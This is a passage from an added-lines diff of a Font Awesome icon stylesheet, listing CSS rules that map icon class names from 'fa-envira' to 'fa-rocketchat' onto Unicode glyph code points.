+.fa-envira:before { + content: "\f299"; } + +.fa-equals:before { + content: "\f52c"; } + +.fa-eraser:before { + content: "\f12d"; } + +.fa-erlang:before { + content: "\f39d"; } + +.fa-ethereum:before { + content: "\f42e"; } + +.fa-ethernet:before { + content: "\f796"; } + +.fa-etsy:before { + content: "\f2d7"; } + +.fa-euro-sign:before { + content: "\f153"; } + +.fa-evernote:before { + content: "\f839"; } + +.fa-exchange-alt:before { + content: "\f362"; } + +.fa-exclamation:before { + content: "\f12a"; } + +.fa-exclamation-circle:before { + content: "\f06a"; } + +.fa-exclamation-triangle:before { + content: "\f071"; } + +.fa-expand:before { + content: "\f065"; } + +.fa-expand-alt:before { + content: "\f424"; } + +.fa-expand-arrows-alt:before { + content: "\f31e"; } + +.fa-expeditedssl:before { + content: "\f23e"; } + +.fa-external-link-alt:before { + content: "\f35d"; } + +.fa-external-link-square-alt:before { + content: "\f360"; } + +.fa-eye:before { + content: "\f06e"; } + +.fa-eye-dropper:before { + content: "\f1fb"; } + +.fa-eye-slash:before { + content: "\f070"; } + +.fa-facebook:before { + content: "\f09a"; } + +.fa-facebook-f:before { + content: "\f39e"; } + +.fa-facebook-messenger:before { + content: "\f39f"; } + +.fa-facebook-square:before { + content: "\f082"; } + +.fa-fan:before { + content: "\f863"; } + +.fa-fantasy-flight-games:before { + content: "\f6dc"; } + +.fa-fast-backward:before { + content: "\f049"; } + +.fa-fast-forward:before { + content: "\f050"; } + +.fa-faucet:before { + content: "\e005"; } + +.fa-fax:before { + content: "\f1ac"; } + +.fa-feather:before { + content: "\f52d"; } + +.fa-feather-alt:before { + content: "\f56b"; } + +.fa-fedex:before { + content: "\f797"; } + +.fa-fedora:before { + content: "\f798"; } + +.fa-female:before { + content: "\f182"; } + +.fa-fighter-jet:before { + content: "\f0fb"; } + +.fa-figma:before { + content: "\f799"; } + +.fa-file:before { + content: "\f15b"; } + +.fa-file-alt:before { + content: "\f15c"; } + +.fa-file-archive:before { + content: "\f1c6"; } + +.fa-file-audio:before { + content: "\f1c7"; } + +.fa-file-code:before { + content: "\f1c9"; } + +.fa-file-contract:before { + content: "\f56c"; } + +.fa-file-csv:before { + content: "\f6dd"; } + +.fa-file-download:before { + content: "\f56d"; } + +.fa-file-excel:before { + content: "\f1c3"; } + +.fa-file-export:before { + content: "\f56e"; } + +.fa-file-image:before { + content: "\f1c5"; } + +.fa-file-import:before { + content: "\f56f"; } + +.fa-file-invoice:before { + content: "\f570"; } + +.fa-file-invoice-dollar:before { + content: "\f571"; } + +.fa-file-medical:before { + content: "\f477"; } + +.fa-file-medical-alt:before { + content: "\f478"; } + +.fa-file-pdf:before { + content: "\f1c1"; } + +.fa-file-powerpoint:before { + content: "\f1c4"; } + +.fa-file-prescription:before { + content: "\f572"; } + +.fa-file-signature:before { + content: "\f573"; } + +.fa-file-upload:before { + content: "\f574"; } + +.fa-file-video:before { + content: "\f1c8"; } + +.fa-file-word:before { + content: "\f1c2"; } + +.fa-fill:before { + content: "\f575"; } + +.fa-fill-drip:before { + content: "\f576"; } + +.fa-film:before { + content: "\f008"; } + +.fa-filter:before { + content: "\f0b0"; } + +.fa-fingerprint:before { + content: "\f577"; } + +.fa-fire:before { + content: "\f06d"; } + +.fa-fire-alt:before { + content: "\f7e4"; } + +.fa-fire-extinguisher:before { + content: "\f134"; } + +.fa-firefox:before { + content: "\f269"; } + +.fa-firefox-browser:before { + content: "\e007"; } + +.fa-first-aid:before { + content: "\f479"; } + +.fa-first-order:before { + content: "\f2b0"; } + +.fa-first-order-alt:before { + content: "\f50a"; } + +.fa-firstdraft:before { + content: "\f3a1"; } + +.fa-fish:before { + content: "\f578"; } + +.fa-fist-raised:before { + content: "\f6de"; } + +.fa-flag:before { + content: "\f024"; } + +.fa-flag-checkered:before { + content: "\f11e"; } + +.fa-flag-usa:before { + content: "\f74d"; } + +.fa-flask:before { + content: "\f0c3"; } + +.fa-flickr:before { + content: "\f16e"; } + +.fa-flipboard:before { + content: "\f44d"; } + +.fa-flushed:before { + content: "\f579"; } + +.fa-fly:before { + content: "\f417"; } + +.fa-folder:before { + content: "\f07b"; } + +.fa-folder-minus:before { + content: "\f65d"; } + +.fa-folder-open:before { + content: "\f07c"; } + +.fa-folder-plus:before { + content: "\f65e"; } + +.fa-font:before { + content: "\f031"; } + +.fa-font-awesome:before { + content: "\f2b4"; } + +.fa-font-awesome-alt:before { + content: "\f35c"; } + +.fa-font-awesome-flag:before { + content: "\f425"; } + +.fa-font-awesome-logo-full:before { + content: "\f4e6"; } + +.fa-fonticons:before { + content: "\f280"; } + +.fa-fonticons-fi:before { + content: "\f3a2"; } + +.fa-football-ball:before { + content: "\f44e"; } + +.fa-fort-awesome:before { + content: "\f286"; } + +.fa-fort-awesome-alt:before { + content: "\f3a3"; } + +.fa-forumbee:before { + content: "\f211"; } + +.fa-forward:before { + content: "\f04e"; } + +.fa-foursquare:before { + content: "\f180"; } + +.fa-free-code-camp:before { + content: "\f2c5"; } + +.fa-freebsd:before { + content: "\f3a4"; } + +.fa-frog:before { + content: "\f52e"; } + +.fa-frown:before { + content: "\f119"; } + +.fa-frown-open:before { + content: "\f57a"; } + +.fa-fulcrum:before { + content: "\f50b"; } + +.fa-funnel-dollar:before { + content: "\f662"; } + +.fa-futbol:before { + content: "\f1e3"; } + +.fa-galactic-republic:before { + content: "\f50c"; } + +.fa-galactic-senate:before { + content: "\f50d"; } + +.fa-gamepad:before { + content: "\f11b"; } + +.fa-gas-pump:before { + content: "\f52f"; } + +.fa-gavel:before { + content: "\f0e3"; } + +.fa-gem:before { + content: "\f3a5"; } + +.fa-genderless:before { + content: "\f22d"; } + +.fa-get-pocket:before { + content: "\f265"; } + +.fa-gg:before { + content: "\f260"; } + +.fa-gg-circle:before { + content: "\f261"; } + +.fa-ghost:before { + content: "\f6e2"; } + +.fa-gift:before { + content: "\f06b"; } + +.fa-gifts:before { + content: "\f79c"; } + +.fa-git:before { + content: "\f1d3"; } + +.fa-git-alt:before { + content: "\f841"; } + +.fa-git-square:before { + content: "\f1d2"; } + +.fa-github:before { + content: "\f09b"; } + +.fa-github-alt:before { + content: "\f113"; } + +.fa-github-square:before { + content: "\f092"; } + +.fa-gitkraken:before { + content: "\f3a6"; } + +.fa-gitlab:before { + content: "\f296"; } + +.fa-gitter:before { + content: "\f426"; } + +.fa-glass-cheers:before { + content: "\f79f"; } + +.fa-glass-martini:before { + content: "\f000"; } + +.fa-glass-martini-alt:before { + content: "\f57b"; } + +.fa-glass-whiskey:before { + content: "\f7a0"; } + +.fa-glasses:before { + content: "\f530"; } + +.fa-glide:before { + content: "\f2a5"; } + +.fa-glide-g:before { + content: "\f2a6"; } + +.fa-globe:before { + content: "\f0ac"; } + +.fa-globe-africa:before { + content: "\f57c"; } + +.fa-globe-americas:before { + content: "\f57d"; } + +.fa-globe-asia:before { + content: "\f57e"; } + +.fa-globe-europe:before { + content: "\f7a2"; } + +.fa-gofore:before { + content: "\f3a7"; } + +.fa-golf-ball:before { + content: "\f450"; } + +.fa-goodreads:before { + content: "\f3a8"; } + +.fa-goodreads-g:before { + content: "\f3a9"; } + +.fa-google:before { + content: "\f1a0"; } + +.fa-google-drive:before { + content: "\f3aa"; } + +.fa-google-pay:before { + content: "\e079"; } + +.fa-google-play:before { + content: "\f3ab"; } + +.fa-google-plus:before { + content: "\f2b3"; } + +.fa-google-plus-g:before { + content: "\f0d5"; } + +.fa-google-plus-square:before { + content: "\f0d4"; } + +.fa-google-wallet:before { + content: "\f1ee"; } + +.fa-gopuram:before { + content: "\f664"; } + +.fa-graduation-cap:before { + content: "\f19d"; } + +.fa-gratipay:before { + content: "\f184"; } + +.fa-grav:before { + content: "\f2d6"; } + +.fa-greater-than:before { + content: "\f531"; } + +.fa-greater-than-equal:before { + content: "\f532"; } + +.fa-grimace:before { + content: "\f57f"; } + +.fa-grin:before { + content: "\f580"; } + +.fa-grin-alt:before { + content: "\f581"; } + +.fa-grin-beam:before { + content: "\f582"; } + +.fa-grin-beam-sweat:before { + content: "\f583"; } + +.fa-grin-hearts:before { + content: "\f584"; } + +.fa-grin-squint:before { + content: "\f585"; } + +.fa-grin-squint-tears:before { + content: "\f586"; } + +.fa-grin-stars:before { + content: "\f587"; } + +.fa-grin-tears:before { + content: "\f588"; } + +.fa-grin-tongue:before { + content: "\f589"; } + +.fa-grin-tongue-squint:before { + content: "\f58a"; } + +.fa-grin-tongue-wink:before { + content: "\f58b"; } + +.fa-grin-wink:before { + content: "\f58c"; } + +.fa-grip-horizontal:before { + content: "\f58d"; } + +.fa-grip-lines:before { + content: "\f7a4"; } + +.fa-grip-lines-vertical:before { + content: "\f7a5"; } + +.fa-grip-vertical:before { + content: "\f58e"; } + +.fa-gripfire:before { + content: "\f3ac"; } + +.fa-grunt:before { + content: "\f3ad"; } + +.fa-guilded:before { + content: "\e07e"; } + +.fa-guitar:before { + content: "\f7a6"; } + +.fa-gulp:before { + content: "\f3ae"; } + +.fa-h-square:before { + content: "\f0fd"; } + +.fa-hacker-news:before { + content: "\f1d4"; } + +.fa-hacker-news-square:before { + content: "\f3af"; } + +.fa-hackerrank:before { + content: "\f5f7"; } + +.fa-hamburger:before { + content: "\f805"; } + +.fa-hammer:before { + content: "\f6e3"; } + +.fa-hamsa:before { + content: "\f665"; } + +.fa-hand-holding:before { + content: "\f4bd"; } + +.fa-hand-holding-heart:before { + content: "\f4be"; } + +.fa-hand-holding-medical:before { + content: "\e05c"; } + +.fa-hand-holding-usd:before { + content: "\f4c0"; } + +.fa-hand-holding-water:before { + content: "\f4c1"; } + +.fa-hand-lizard:before { + content: "\f258"; } + +.fa-hand-middle-finger:before { + content: "\f806"; } + +.fa-hand-paper:before { + content: "\f256"; } + +.fa-hand-peace:before { + content: "\f25b"; } + +.fa-hand-point-down:before { + content: "\f0a7"; } + +.fa-hand-point-left:before { + content: "\f0a5"; } + +.fa-hand-point-right:before { + content: "\f0a4"; } + +.fa-hand-point-up:before { + content: "\f0a6"; } + +.fa-hand-pointer:before { + content: "\f25a"; } + +.fa-hand-rock:before { + content: "\f255"; } + +.fa-hand-scissors:before { + content: "\f257"; } + +.fa-hand-sparkles:before { + content: "\e05d"; } + +.fa-hand-spock:before { + content: "\f259"; } + +.fa-hands:before { + content: "\f4c2"; } + +.fa-hands-helping:before { + content: "\f4c4"; } + +.fa-hands-wash:before { + content: "\e05e"; } + +.fa-handshake:before { + content: "\f2b5"; } + +.fa-handshake-alt-slash:before { + content: "\e05f"; } + +.fa-handshake-slash:before { + content: "\e060"; } + +.fa-hanukiah:before { + content: "\f6e6"; } + +.fa-hard-hat:before { + content: "\f807"; } + +.fa-hashtag:before { + content: "\f292"; } + +.fa-hat-cowboy:before { + content: "\f8c0"; } + +.fa-hat-cowboy-side:before { + content: "\f8c1"; } + +.fa-hat-wizard:before { + content: "\f6e8"; } + +.fa-hdd:before { + content: "\f0a0"; } + +.fa-head-side-cough:before { + content: "\e061"; } + +.fa-head-side-cough-slash:before { + content: "\e062"; } + +.fa-head-side-mask:before { + content: "\e063"; } + +.fa-head-side-virus:before { + content: "\e064"; } + +.fa-heading:before { + content: "\f1dc"; } + +.fa-headphones:before { + content: "\f025"; } + +.fa-headphones-alt:before { + content: "\f58f"; } + +.fa-headset:before { + content: "\f590"; } + +.fa-heart:before { + content: "\f004"; } + +.fa-heart-broken:before { + content: "\f7a9"; } + +.fa-heartbeat:before { + content: "\f21e"; } + +.fa-helicopter:before { + content: "\f533"; } + +.fa-highlighter:before { + content: "\f591"; } + +.fa-hiking:before { + content: "\f6ec"; } + +.fa-hippo:before { + content: "\f6ed"; } + +.fa-hips:before { + content: "\f452"; } + +.fa-hire-a-helper:before { + content: "\f3b0"; } + +.fa-history:before { + content: "\f1da"; } + +.fa-hive:before { + content: "\e07f"; } + +.fa-hockey-puck:before { + content: "\f453"; } + +.fa-holly-berry:before { + content: "\f7aa"; } + +.fa-home:before { + content: "\f015"; } + +.fa-hooli:before { + content: "\f427"; } + +.fa-hornbill:before { + content: "\f592"; } + +.fa-horse:before { + content: "\f6f0"; } + +.fa-horse-head:before { + content: "\f7ab"; } + +.fa-hospital:before { + content: "\f0f8"; } + +.fa-hospital-alt:before { + content: "\f47d"; } + +.fa-hospital-symbol:before { + content: "\f47e"; } + +.fa-hospital-user:before { + content: "\f80d"; } + +.fa-hot-tub:before { + content: "\f593"; } + +.fa-hotdog:before { + content: "\f80f"; } + +.fa-hotel:before { + content: "\f594"; } + +.fa-hotjar:before { + content: "\f3b1"; } + +.fa-hourglass:before { + content: "\f254"; } + +.fa-hourglass-end:before { + content: "\f253"; } + +.fa-hourglass-half:before { + content: "\f252"; } + +.fa-hourglass-start:before { + content: "\f251"; } + +.fa-house-damage:before { + content: "\f6f1"; } + +.fa-house-user:before { + content: "\e065"; } + +.fa-houzz:before { + content: "\f27c"; } + +.fa-hryvnia:before { + content: "\f6f2"; } + +.fa-html5:before { + content: "\f13b"; } + +.fa-hubspot:before { + content: "\f3b2"; } + +.fa-i-cursor:before { + content: "\f246"; } + +.fa-ice-cream:before { + content: "\f810"; } + +.fa-icicles:before { + content: "\f7ad"; } + +.fa-icons:before { + content: "\f86d"; } + +.fa-id-badge:before { + content: "\f2c1"; } + +.fa-id-card:before { + content: "\f2c2"; } + +.fa-id-card-alt:before { + content: "\f47f"; } + +.fa-ideal:before { + content: "\e013"; } + +.fa-igloo:before { + content: "\f7ae"; } + +.fa-image:before { + content: "\f03e"; } + +.fa-images:before { + content: "\f302"; } + +.fa-imdb:before { + content: "\f2d8"; } + +.fa-inbox:before { + content: "\f01c"; } + +.fa-indent:before { + content: "\f03c"; } + +.fa-industry:before { + content: "\f275"; } + +.fa-infinity:before { + content: "\f534"; } + +.fa-info:before { + content: "\f129"; } + +.fa-info-circle:before { + content: "\f05a"; } + +.fa-innosoft:before { + content: "\e080"; } + +.fa-instagram:before { + content: "\f16d"; } + +.fa-instagram-square:before { + content: "\e055"; } + +.fa-instalod:before { + content: "\e081"; } + +.fa-intercom:before { + content: "\f7af"; } + +.fa-internet-explorer:before { + content: "\f26b"; } + +.fa-invision:before { + content: "\f7b0"; } + +.fa-ioxhost:before { + content: "\f208"; } + +.fa-italic:before { + content: "\f033"; } + +.fa-itch-io:before { + content: "\f83a"; } + +.fa-itunes:before { + content: "\f3b4"; } + +.fa-itunes-note:before { + content: "\f3b5"; } + +.fa-java:before { + content: "\f4e4"; } + +.fa-jedi:before { + content: "\f669"; } + +.fa-jedi-order:before { + content: "\f50e"; } + +.fa-jenkins:before { + content: "\f3b6"; } + +.fa-jira:before { + content: "\f7b1"; } + +.fa-joget:before { + content: "\f3b7"; } + +.fa-joint:before { + content: "\f595"; } + +.fa-joomla:before { + content: "\f1aa"; } + +.fa-journal-whills:before { + content: "\f66a"; } + +.fa-js:before { + content: "\f3b8"; } + +.fa-js-square:before { + content: "\f3b9"; } + +.fa-jsfiddle:before { + content: "\f1cc"; } + +.fa-kaaba:before { + content: "\f66b"; } + +.fa-kaggle:before { + content: "\f5fa"; } + +.fa-key:before { + content: "\f084"; } + +.fa-keybase:before { + content: "\f4f5"; } + +.fa-keyboard:before { + content: "\f11c"; } + +.fa-keycdn:before { + content: "\f3ba"; } + +.fa-khanda:before { + content: "\f66d"; } + +.fa-kickstarter:before { + content: "\f3bb"; } + +.fa-kickstarter-k:before { + content: "\f3bc"; } + +.fa-kiss:before { + content: "\f596"; } + +.fa-kiss-beam:before { + content: "\f597"; } + +.fa-kiss-wink-heart:before { + content: "\f598"; } + +.fa-kiwi-bird:before { + content: "\f535"; } + +.fa-korvue:before { + content: "\f42f"; } + +.fa-landmark:before { + content: "\f66f"; } + +.fa-language:before { + content: "\f1ab"; } + +.fa-laptop:before { + content: "\f109"; } + +.fa-laptop-code:before { + content: "\f5fc"; } + +.fa-laptop-house:before { + content: "\e066"; } + +.fa-laptop-medical:before { + content: "\f812"; } + +.fa-laravel:before { + content: "\f3bd"; } + +.fa-lastfm:before { + content: "\f202"; } + +.fa-lastfm-square:before { + content: "\f203"; } + +.fa-laugh:before { + content: "\f599"; } + +.fa-laugh-beam:before { + content: "\f59a"; } + +.fa-laugh-squint:before { + content: "\f59b"; } + +.fa-laugh-wink:before { + content: "\f59c"; } + +.fa-layer-group:before { + content: "\f5fd"; } + +.fa-leaf:before { + content: "\f06c"; } + +.fa-leanpub:before { + content: "\f212"; } + +.fa-lemon:before { + content: "\f094"; } + +.fa-less:before { + content: "\f41d"; } + +.fa-less-than:before { + content: "\f536"; } + +.fa-less-than-equal:before { + content: "\f537"; } + +.fa-level-down-alt:before { + content: "\f3be"; } + +.fa-level-up-alt:before { + content: "\f3bf"; } + +.fa-life-ring:before { + content: "\f1cd"; } + +.fa-lightbulb:before { + content: "\f0eb"; } + +.fa-line:before { + content: "\f3c0"; } + +.fa-link:before { + content: "\f0c1"; } + +.fa-linkedin:before { + content: "\f08c"; } + +.fa-linkedin-in:before { + content: "\f0e1"; } + +.fa-linode:before { + content: "\f2b8"; } + +.fa-linux:before { + content: "\f17c"; } + +.fa-lira-sign:before { + content: "\f195"; } + +.fa-list:before { + content: "\f03a"; } + +.fa-list-alt:before { + content: "\f022"; } + +.fa-list-ol:before { + content: "\f0cb"; } + +.fa-list-ul:before { + content: "\f0ca"; } + +.fa-location-arrow:before { + content: "\f124"; } + +.fa-lock:before { + content: "\f023"; } + +.fa-lock-open:before { + content: "\f3c1"; } + +.fa-long-arrow-alt-down:before { + content: "\f309"; } + +.fa-long-arrow-alt-left:before { + content: "\f30a"; } + +.fa-long-arrow-alt-right:before { + content: "\f30b"; } + +.fa-long-arrow-alt-up:before { + content: "\f30c"; } + +.fa-low-vision:before { + content: "\f2a8"; } + +.fa-luggage-cart:before { + content: "\f59d"; } + +.fa-lungs:before { + content: "\f604"; } + +.fa-lungs-virus:before { + content: "\e067"; } + +.fa-lyft:before { + content: "\f3c3"; } + +.fa-magento:before { + content: "\f3c4"; } + +.fa-magic:before { + content: "\f0d0"; } + +.fa-magnet:before { + content: "\f076"; } + +.fa-mail-bulk:before { + content: "\f674"; } + +.fa-mailchimp:before { + content: "\f59e"; } + +.fa-male:before { + content: "\f183"; } + +.fa-mandalorian:before { + content: "\f50f"; } + +.fa-map:before { + content: "\f279"; } + +.fa-map-marked:before { + content: "\f59f"; } + +.fa-map-marked-alt:before { + content: "\f5a0"; } + +.fa-map-marker:before { + content: "\f041"; } + +.fa-map-marker-alt:before { + content: "\f3c5"; } + +.fa-map-pin:before { + content: "\f276"; } + +.fa-map-signs:before { + content: "\f277"; } + +.fa-markdown:before { + content: "\f60f"; } + +.fa-marker:before { + content: "\f5a1"; } + +.fa-mars:before { + content: "\f222"; } + +.fa-mars-double:before { + content: "\f227"; } + +.fa-mars-stroke:before { + content: "\f229"; } + +.fa-mars-stroke-h:before { + content: "\f22b"; } + +.fa-mars-stroke-v:before { + content: "\f22a"; } + +.fa-mask:before { + content: "\f6fa"; } + +.fa-mastodon:before { + content: "\f4f6"; } + +.fa-maxcdn:before { + content: "\f136"; } + +.fa-mdb:before { + content: "\f8ca"; } + +.fa-medal:before { + content: "\f5a2"; } + +.fa-medapps:before { + content: "\f3c6"; } + +.fa-medium:before { + content: "\f23a"; } + +.fa-medium-m:before { + content: "\f3c7"; } + +.fa-medkit:before { + content: "\f0fa"; } + +.fa-medrt:before { + content: "\f3c8"; } + +.fa-meetup:before { + content: "\f2e0"; } + +.fa-megaport:before { + content: "\f5a3"; } + +.fa-meh:before { + content: "\f11a"; } + +.fa-meh-blank:before { + content: "\f5a4"; } + +.fa-meh-rolling-eyes:before { + content: "\f5a5"; } + +.fa-memory:before { + content: "\f538"; } + +.fa-mendeley:before { + content: "\f7b3"; } + +.fa-menorah:before { + content: "\f676"; } + +.fa-mercury:before { + content: "\f223"; } + +.fa-meteor:before { + content: "\f753"; } + +.fa-microblog:before { + content: "\e01a"; } + +.fa-microchip:before { + content: "\f2db"; } + +.fa-microphone:before { + content: "\f130"; } + +.fa-microphone-alt:before { + content: "\f3c9"; } + +.fa-microphone-alt-slash:before { + content: "\f539"; } + +.fa-microphone-slash:before { + content: "\f131"; } + +.fa-microscope:before { + content: "\f610"; } + +.fa-microsoft:before { + content: "\f3ca"; } + +.fa-minus:before { + content: "\f068"; } + +.fa-minus-circle:before { + content: "\f056"; } + +.fa-minus-square:before { + content: "\f146"; } + +.fa-mitten:before { + content: "\f7b5"; } + +.fa-mix:before { + content: "\f3cb"; } + +.fa-mixcloud:before { + content: "\f289"; } + +.fa-mixer:before { + content: "\e056"; } + +.fa-mizuni:before { + content: "\f3cc"; } + +.fa-mobile:before { + content: "\f10b"; } + +.fa-mobile-alt:before { + content: "\f3cd"; } + +.fa-modx:before { + content: "\f285"; } + +.fa-monero:before { + content: "\f3d0"; } + +.fa-money-bill:before { + content: "\f0d6"; } + +.fa-money-bill-alt:before { + content: "\f3d1"; } + +.fa-money-bill-wave:before { + content: "\f53a"; } + +.fa-money-bill-wave-alt:before { + content: "\f53b"; } + +.fa-money-check:before { + content: "\f53c"; } + +.fa-money-check-alt:before { + content: "\f53d"; } + +.fa-monument:before { + content: "\f5a6"; } + +.fa-moon:before { + content: "\f186"; } + +.fa-mortar-pestle:before { + content: "\f5a7"; } + +.fa-mosque:before { + content: "\f678"; } + +.fa-motorcycle:before { + content: "\f21c"; } + +.fa-mountain:before { + content: "\f6fc"; } + +.fa-mouse:before { + content: "\f8cc"; } + +.fa-mouse-pointer:before { + content: "\f245"; } + +.fa-mug-hot:before { + content: "\f7b6"; } + +.fa-music:before { + content: "\f001"; } + +.fa-napster:before { + content: "\f3d2"; } + +.fa-neos:before { + content: "\f612"; } + +.fa-network-wired:before { + content: "\f6ff"; } + +.fa-neuter:before { + content: "\f22c"; } + +.fa-newspaper:before { + content: "\f1ea"; } + +.fa-nimblr:before { + content: "\f5a8"; } + +.fa-node:before { + content: "\f419"; } + +.fa-node-js:before { + content: "\f3d3"; } + +.fa-not-equal:before { + content: "\f53e"; } + +.fa-notes-medical:before { + content: "\f481"; } + +.fa-npm:before { + content: "\f3d4"; } + +.fa-ns8:before { + content: "\f3d5"; } + +.fa-nutritionix:before { + content: "\f3d6"; } + +.fa-object-group:before { + content: "\f247"; } + +.fa-object-ungroup:before { + content: "\f248"; } + +.fa-octopus-deploy:before { + content: "\e082"; } + +.fa-odnoklassniki:before { + content: "\f263"; } + +.fa-odnoklassniki-square:before { + content: "\f264"; } + +.fa-oil-can:before { + content: "\f613"; } + +.fa-old-republic:before { + content: "\f510"; } + +.fa-om:before { + content: "\f679"; } + +.fa-opencart:before { + content: "\f23d"; } + +.fa-openid:before { + content: "\f19b"; } + +.fa-opera:before { + content: "\f26a"; } + +.fa-optin-monster:before { + content: "\f23c"; } + +.fa-orcid:before { + content: "\f8d2"; } + +.fa-osi:before { + content: "\f41a"; } + +.fa-otter:before { + content: "\f700"; } + +.fa-outdent:before { + content: "\f03b"; } + +.fa-page4:before { + content: "\f3d7"; } + +.fa-pagelines:before { + content: "\f18c"; } + +.fa-pager:before { + content: "\f815"; } + +.fa-paint-brush:before { + content: "\f1fc"; } + +.fa-paint-roller:before { + content: "\f5aa"; } + +.fa-palette:before { + content: "\f53f"; } + +.fa-palfed:before { + content: "\f3d8"; } + +.fa-pallet:before { + content: "\f482"; } + +.fa-paper-plane:before { + content: "\f1d8"; } + +.fa-paperclip:before { + content: "\f0c6"; } + +.fa-parachute-box:before { + content: "\f4cd"; } + +.fa-paragraph:before { + content: "\f1dd"; } + +.fa-parking:before { + content: "\f540"; } + +.fa-passport:before { + content: "\f5ab"; } + +.fa-pastafarianism:before { + content: "\f67b"; } + +.fa-paste:before { + content: "\f0ea"; } + +.fa-patreon:before { + content: "\f3d9"; } + +.fa-pause:before { + content: "\f04c"; } + +.fa-pause-circle:before { + content: "\f28b"; } + +.fa-paw:before { + content: "\f1b0"; } + +.fa-paypal:before { + content: "\f1ed"; } + +.fa-peace:before { + content: "\f67c"; } + +.fa-pen:before { + content: "\f304"; } + +.fa-pen-alt:before { + content: "\f305"; } + +.fa-pen-fancy:before { + content: "\f5ac"; } + +.fa-pen-nib:before { + content: "\f5ad"; } + +.fa-pen-square:before { + content: "\f14b"; } + +.fa-pencil-alt:before { + content: "\f303"; } + +.fa-pencil-ruler:before { + content: "\f5ae"; } + +.fa-penny-arcade:before { + content: "\f704"; } + +.fa-people-arrows:before { + content: "\e068"; } + +.fa-people-carry:before { + content: "\f4ce"; } + +.fa-pepper-hot:before { + content: "\f816"; } + +.fa-perbyte:before { + content: "\e083"; } + +.fa-percent:before { + content: "\f295"; } + +.fa-percentage:before { + content: "\f541"; } + +.fa-periscope:before { + content: "\f3da"; } + +.fa-person-booth:before { + content: "\f756"; } + +.fa-phabricator:before { + content: "\f3db"; } + +.fa-phoenix-framework:before { + content: "\f3dc"; } + +.fa-phoenix-squadron:before { + content: "\f511"; } + +.fa-phone:before { + content: "\f095"; } + +.fa-phone-alt:before { + content: "\f879"; } + +.fa-phone-slash:before { + content: "\f3dd"; } + +.fa-phone-square:before { + content: "\f098"; } + +.fa-phone-square-alt:before { + content: "\f87b"; } + +.fa-phone-volume:before { + content: "\f2a0"; } + +.fa-photo-video:before { + content: "\f87c"; } + +.fa-php:before { + content: "\f457"; } + +.fa-pied-piper:before { + content: "\f2ae"; } + +.fa-pied-piper-alt:before { + content: "\f1a8"; } + +.fa-pied-piper-hat:before { + content: "\f4e5"; } + +.fa-pied-piper-pp:before { + content: "\f1a7"; } + +.fa-pied-piper-square:before { + content: "\e01e"; } + +.fa-piggy-bank:before { + content: "\f4d3"; } + +.fa-pills:before { + content: "\f484"; } + +.fa-pinterest:before { + content: "\f0d2"; } + +.fa-pinterest-p:before { + content: "\f231"; } + +.fa-pinterest-square:before { + content: "\f0d3"; } + +.fa-pizza-slice:before { + content: "\f818"; } + +.fa-place-of-worship:before { + content: "\f67f"; } + +.fa-plane:before { + content: "\f072"; } + +.fa-plane-arrival:before { + content: "\f5af"; } + +.fa-plane-departure:before { + content: "\f5b0"; } + +.fa-plane-slash:before { + content: "\e069"; } + +.fa-play:before { + content: "\f04b"; } + +.fa-play-circle:before { + content: "\f144"; } + +.fa-playstation:before { + content: "\f3df"; } + +.fa-plug:before { + content: "\f1e6"; } + +.fa-plus:before { + content: "\f067"; } + +.fa-plus-circle:before { + content: "\f055"; } + +.fa-plus-square:before { + content: "\f0fe"; } + +.fa-podcast:before { + content: "\f2ce"; } + +.fa-poll:before { + content: "\f681"; } + +.fa-poll-h:before { + content: "\f682"; } + +.fa-poo:before { + content: "\f2fe"; } + +.fa-poo-storm:before { + content: "\f75a"; } + +.fa-poop:before { + content: "\f619"; } + +.fa-portrait:before { + content: "\f3e0"; } + +.fa-pound-sign:before { + content: "\f154"; } + +.fa-power-off:before { + content: "\f011"; } + +.fa-pray:before { + content: "\f683"; } + +.fa-praying-hands:before { + content: "\f684"; } + +.fa-prescription:before { + content: "\f5b1"; } + +.fa-prescription-bottle:before { + content: "\f485"; } + +.fa-prescription-bottle-alt:before { + content: "\f486"; } + +.fa-print:before { + content: "\f02f"; } + +.fa-procedures:before { + content: "\f487"; } + +.fa-product-hunt:before { + content: "\f288"; } + +.fa-project-diagram:before { + content: "\f542"; } + +.fa-pump-medical:before { + content: "\e06a"; } + +.fa-pump-soap:before { + content: "\e06b"; } + +.fa-pushed:before { + content: "\f3e1"; } + +.fa-puzzle-piece:before { + content: "\f12e"; } + +.fa-python:before { + content: "\f3e2"; } + +.fa-qq:before { + content: "\f1d6"; } + +.fa-qrcode:before { + content: "\f029"; } + +.fa-question:before { + content: "\f128"; } + +.fa-question-circle:before { + content: "\f059"; } + +.fa-quidditch:before { + content: "\f458"; } + +.fa-quinscape:before { + content: "\f459"; } + +.fa-quora:before { + content: "\f2c4"; } + +.fa-quote-left:before { + content: "\f10d"; } + +.fa-quote-right:before { + content: "\f10e"; } + +.fa-quran:before { + content: "\f687"; } + +.fa-r-project:before { + content: "\f4f7"; } + +.fa-radiation:before { + content: "\f7b9"; } + +.fa-radiation-alt:before { + content: "\f7ba"; } + +.fa-rainbow:before { + content: "\f75b"; } + +.fa-random:before { + content: "\f074"; } + +.fa-raspberry-pi:before { + content: "\f7bb"; } + +.fa-ravelry:before { + content: "\f2d9"; } + +.fa-react:before { + content: "\f41b"; } + +.fa-reacteurope:before { + content: "\f75d"; } + +.fa-readme:before { + content: "\f4d5"; } + +.fa-rebel:before { + content: "\f1d0"; } + +.fa-receipt:before { + content: "\f543"; } + +.fa-record-vinyl:before { + content: "\f8d9"; } + +.fa-recycle:before { + content: "\f1b8"; } + +.fa-red-river:before { + content: "\f3e3"; } + +.fa-reddit:before { + content: "\f1a1"; } + +.fa-reddit-alien:before { + content: "\f281"; } + +.fa-reddit-square:before { + content: "\f1a2"; } + +.fa-redhat:before { + content: "\f7bc"; } + +.fa-redo:before { + content: "\f01e"; } + +.fa-redo-alt:before { + content: "\f2f9"; } + +.fa-registered:before { + content: "\f25d"; } + +.fa-remove-format:before { + content: "\f87d"; } + +.fa-renren:before { + content: "\f18b"; } + +.fa-reply:before { + content: "\f3e5"; } + +.fa-reply-all:before { + content: "\f122"; } + +.fa-replyd:before { + content: "\f3e6"; } + +.fa-republican:before { + content: "\f75e"; } + +.fa-researchgate:before { + content: "\f4f8"; } + +.fa-resolving:before { + content: "\f3e7"; } + +.fa-restroom:before { + content: "\f7bd"; } + +.fa-retweet:before { + content: "\f079"; } + +.fa-rev:before { + content: "\f5b2"; } + +.fa-ribbon:before { + content: "\f4d6"; } + +.fa-ring:before { + content: "\f70b"; } + +.fa-road:before { + content: "\f018"; } + +.fa-robot:before { + content: "\f544"; } + +.fa-rocket:before { + content: "\f135"; } + +.fa-rocketchat:before { + content: 